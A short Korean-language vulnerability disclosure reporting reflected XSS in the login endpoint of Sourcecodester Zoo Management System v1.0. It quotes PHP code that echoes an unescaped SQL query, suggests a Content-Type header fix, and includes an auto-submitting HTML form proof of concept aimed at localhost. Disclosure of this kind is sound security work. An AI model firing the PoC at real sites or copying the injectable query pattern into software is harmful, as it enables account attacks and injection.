
Sourcecodester Zoo Management System v1.0은 /classes/Login.php에서 잘못된 Content-Type으로 인해 Cross Site Scripting (XSS) 취약점이 존재합니다.
프로젝트 Zoo Management System v1.00은 /zms/classes/Login.php?f=login에서 크로스 사이트 스크립팅(XSS)에 취약합니다. 이유는 다음과 같습니다:
/zms/classes/Login.php?f=login에서 JSON 응답의 Content-type이 올바르지 않음인증되지 않은 공격자가 피해자 브라우저에서 실행되는 악성 HTML/JS를 주입할 수 있습니다.
/zms/classes/Login.php
return json_encode(array(
'status' => 'incorrect',
'last_qry' => "SELECT * from users where username = '$username' and password = md5('$password') "
));
$username 매개변수가 SQL 쿼리에 사용되거나 응답에 반영될 때 이스케이프 처리되지 않으며, 이와 동일한 결함으로 이전에 SQL 인젝션 취약점(CVE-2025-7160)이 발생했습니다.login() 함수에 다음 줄을 추가하세요:
public function login(){
header('Content-Type: application/json; charset=utf-8');
extract($_POST);

<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h3>Standard CSRF PoC</h3>
<form action="http://localhost/zms/classes/Login.php?f=login" method="post">
<input type="hidden" name="username" value="awdawdawdawdawaaaa$" />
<input type="hidden" name="password" value="awdawda" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

소스 코드는 여기서 무료로 다운로드할 수 있습니다:
Muntadhar M. Ahmed (almuntadhar0x01)